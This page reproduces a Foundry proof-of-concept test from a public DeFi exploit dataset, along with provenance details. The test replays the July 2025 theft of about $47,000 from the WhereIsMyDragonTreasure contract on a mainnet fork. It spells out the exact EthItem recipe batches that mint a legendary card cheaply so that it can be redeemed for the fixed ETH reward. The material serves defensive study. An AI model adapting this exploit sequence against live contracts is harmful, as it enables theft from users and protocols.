Public reproduction file
src/test/2025-07/WhereIsMyDragonTreasure_exp.sol
Public reproduction file for dataset entry WhereIsMyDragonTreasure.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : $47,461.358// Attacker : 0x8b88A3b92433638324E5f429bEe52b1fd84E7c5a9// Attack Contract : 0xd73c37d235b6032b21ADAF7F6dE73BDbc31667B210// Vulnerable Contract : 0x32c87193C2cC9961F2283FcA3ca11A483d8E426B11// Attack Tx : https://etherscan.io/tx/0x2154dd30d2bdd53b233d862ecd665c3a69c7a849cb498b724f622d9cb42771fc12//13// @Info14// WhereIsMyDragon : https://etherscan.io/address/0x87AD9009C4Fd0AAa7bFE74f7E00845B3f09aD0CE#code15// WhereIsMyDragonTreasure : https://etherscan.io/address/0x32c87193C2cC9961F2283FcA3ca11A483d8E426B#code16//17// @Analysis18// Telegram Alert : https://t.me/defimon_alerts/153719//20// Attack summary: The attacker used lower-cost EthItem recipe redemptions to mint/acquire one legendary card wrapper,21// then redeemed it at WhereIsMyDragonTreasure for the configured fixed ETH reward.22// Root cause: WhereIsMyDragonTreasure paid a fixed `_singleReward` for each legendary card while the effective cost to23// mint/acquire a redeemable card through the recipe path was lower than that fixed redemption price.25interface IEthItemERC1155 {26 function safeBatchTransferFrom(27 address from,28 address to,29 uint256[] calldata ids,30 uint256[] calldata amounts,31 bytes calldata data32 ) external;34 function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;35}37interface IERC20View {38 function balanceOf(address account) external view returns (uint256);39}41interface IWhereIsMyDragonTreasure {42 function data() external view returns (uint256 balance, uint256 singleReward, uint256 startBlock, uint256 redeemed);43}45contract ContractTest is BaseTestWithBalanceLog {46 address private constant ATTACKER = 0x8b88A3b92433638324E5f429bEe52b1fd84E7c5a;47 address private constant DRAGON = 0x87AD9009C4Fd0AAa7bFE74f7E00845B3f09aD0CE;48 address private constant TREASURE = 0x32c87193C2cC9961F2283FcA3ca11A483d8E426B;49 IEthItemERC1155 private constant ETH_ITEM = IEthItemERC1155(0xb6ab68A44eCc9fb2244AaB83eB2f6dbA54205EBf);51 address private constant CARD_C2C566 = 0xc2c5667f69E881C83Fc4692f7A08a22370B4cc41;52 address private constant CARD_E63983 = 0xE63983b5FAdE429eC052d1b365826C4Bc5fCB198;53 address private constant CARD_7C23AC = 0x7C23Ac2E8DA915d4f422CF710f4767FAa0c332fa;54 address private constant CARD_A70C86 = 0xA70C8667cCFB63D6b98C2A050c94b7Bf2085dC55;55 address private constant CARD_9B16E7 = 0x9b16e70797276Ae1bE23874961D1E6a9698e1EC6;56 address private constant CARD_88B953 = 0x88B95322b5E93B891D83031F2f55Ca238D5e6417;57 address private constant LEGENDARY_CARD = 0x22e6559F495F97Af51fF56719CdFF80F65a0B93A;59 uint256 private constant FORK_BLOCK = 23_000_243;60 uint256 private constant SINGLE_REWARD = 12_775_839_441_940_405_641;62 function setUp() public {63 vm.createSelectFork("mainnet", FORK_BLOCK);65 fundingToken = address(0);66 attacker = ATTACKER;68 vm.label(ATTACKER, "attacker");69 vm.label(DRAGON, "WhereIsMyDragon");70 vm.label(TREASURE, "WhereIsMyDragonTreasure");71 vm.label(address(ETH_ITEM), "EthItem ERC1155");72 vm.label(LEGENDARY_CARD, "legendary card wrapper");73 }75 function testExploit() public balanceLog {76 (, uint256 singleReward, uint256 startBlock,) = IWhereIsMyDragonTreasure(TREASURE).data();77 assertEq(singleReward, SINGLE_REWARD, "unexpected configured reward");78 assertGe(block.number, startBlock, "redeem period not started");80 uint256 ethBefore = ATTACKER.balance;81 uint256 legendaryBefore = IERC20View(LEGENDARY_CARD).balanceOf(ATTACKER);83 vm.startPrank(ATTACKER);84 for (uint256 i = 0; i < 15; i++) {85 _sendRecipeA();86 }87 for (uint256 i = 0; i < 7; i++) {88 _sendRecipeB();89 }90 _sendRecipeC();92 assertEq(IERC20View(LEGENDARY_CARD).balanceOf(ATTACKER), legendaryBefore + 1 ether, "legendary card not minted");93 ETH_ITEM.safeTransferFrom(ATTACKER, TREASURE, _id(LEGENDARY_CARD), 1, "");94 vm.stopPrank();96 assertEq(ATTACKER.balance - ethBefore, SINGLE_REWARD, "ETH reward mismatch");97 assertEq(IERC20View(LEGENDARY_CARD).balanceOf(ATTACKER), legendaryBefore, "legendary card not burned");98 }100 function _sendRecipeA() private {101 _sendBatch(_id(CARD_C2C566), _id(CARD_E63983), _id(CARD_7C23AC), 99, 44, 10);102 }104 function _sendRecipeB() private {105 _sendBatch(_id(CARD_A70C86), _id(CARD_7C23AC), _id(CARD_9B16E7), 200, 346, 2);106 }108 function _sendRecipeC() private {109 _sendBatch(_id(CARD_C2C566), _id(CARD_9B16E7), _id(CARD_88B953), 60, 3, 9);110 }112 function _sendBatch(113 uint256 id0,114 uint256 id1,115 uint256 id2,116 uint256 amount0,117 uint256 amount1,118 uint256 amount2119 ) private {120 uint256[] memory ids = new uint256[](3);121 ids[0] = id0;122 ids[1] = id1;123 ids[2] = id2;125 uint256[] memory amounts = new uint256[](3);126 amounts[0] = amount0;127 amounts[1] = amount1;128 amounts[2] = amount2;130 ETH_ITEM.safeBatchTransferFrom(ATTACKER, DRAGON, ids, amounts, "");131 }133 function _id(address wrapper) private pure returns (uint256) {134 return uint256(uint160(wrapper));135 }136}Analysis
Dataset entry
Public Foundry test for “WhereIsMyDragonTreasure” (2025-07-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8b88a3b92433638324e5f429bee52b1fd84e7c5a
- Attack Contract
0xd73c37d235b6032b21adaf7f6de73bdbc31667b2
- Vulnerable Contract
0x32c87193c2cc9961f2283fca3ca11a483d8e426b
- Attack Tx
0x2154dd30d2bdd53b233d862ecd665c3a69c7a849cb498b724f622d9cb42771fc
File record
- Name
- WhereIsMyDragonTreasure
- Path
- src/test/2025-07/WhereIsMyDragonTreasure_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 71643b9c34a099cb6df2f43d93807bc79814e7fd
- Language
- Solidity
- Size
- 137 lines
- Date
- 2025-07-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/WhereIsMyDragonTreasure_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 71643b9c34a099cb6df2f43d93807bc79814e7fd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.